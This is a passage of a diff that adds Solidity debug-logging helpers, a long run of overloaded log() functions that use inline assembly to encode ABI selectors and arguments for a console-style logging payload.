+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,address,string,string)`.
+            mstore(0x00, 0x21bdaf25)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, bool p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,address,address)`.
+            mstore(0x00, 0x660375dd)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,address,bool)`.
+            mstore(0x00, 0xa6f50b0f)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,address,uint256)`.
+            mstore(0x00, 0xa75c59de)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,address,string)`.
+            mstore(0x00, 0x2dd778e6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,bool,address)`.
+            mstore(0x00, 0xcf394485)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,bool,bool)`.
+            mstore(0x00, 0xcac43479)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,bool,uint256)`.
+            mstore(0x00, 0x8c4e5de6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,bool,string)`.
+            mstore(0x00, 0xdfc4a2e8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,uint256,address)`.
+            mstore(0x00, 0xccf790a1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,uint256,bool)`.
+            mstore(0x00, 0xc4643e20)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,bool,uint256,uint256)`.
+            mstore(0x00, 0x386ff5f4)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, bool p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,uint256,string)`.
+            mstore(0x00, 0x0aa6cfad)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,string,address)`.
+            mstore(0x00, 0x19fd4956)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,string,bool)`.
+            mstore(0x00, 0x50ad461d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,bool,string,uint256)`.
+            mstore(0x00, 0x80e6a20b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, bool p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(address,bool,string,string)`.
+            mstore(0x00, 0x475c5c33)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,address,address)`.
+            mstore(0x00, 0x478d1c62)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,address,bool)`.
+            mstore(0x00, 0xa1bcc9b3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,address,uint256)`.
+            mstore(0x00, 0x100f650e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,address,string)`.
+            mstore(0x00, 0x1da986ea)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,bool,address)`.
+            mstore(0x00, 0xa31bfdcc)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,bool,bool)`.
+            mstore(0x00, 0x3bf5e537)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,bool,uint256)`.
+            mstore(0x00, 0x22f6b999)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,bool,string)`.
+            mstore(0x00, 0xc5ad85f9)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,uint256,address)`.
+            mstore(0x00, 0x20e3984d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,uint256,bool)`.
+            mstore(0x00, 0x66f1bc67)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(address,uint256,uint256,uint256)`.
+            mstore(0x00, 0x34f0e636)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,uint256,string)`.
+            mstore(0x00, 0x4a28c017)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,string,address)`.
+            mstore(0x00, 0x5c430d47)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(address p0, uint256 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(address,uint256,string,bool)`.
+            mstore(0x00, 0xcf18105c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
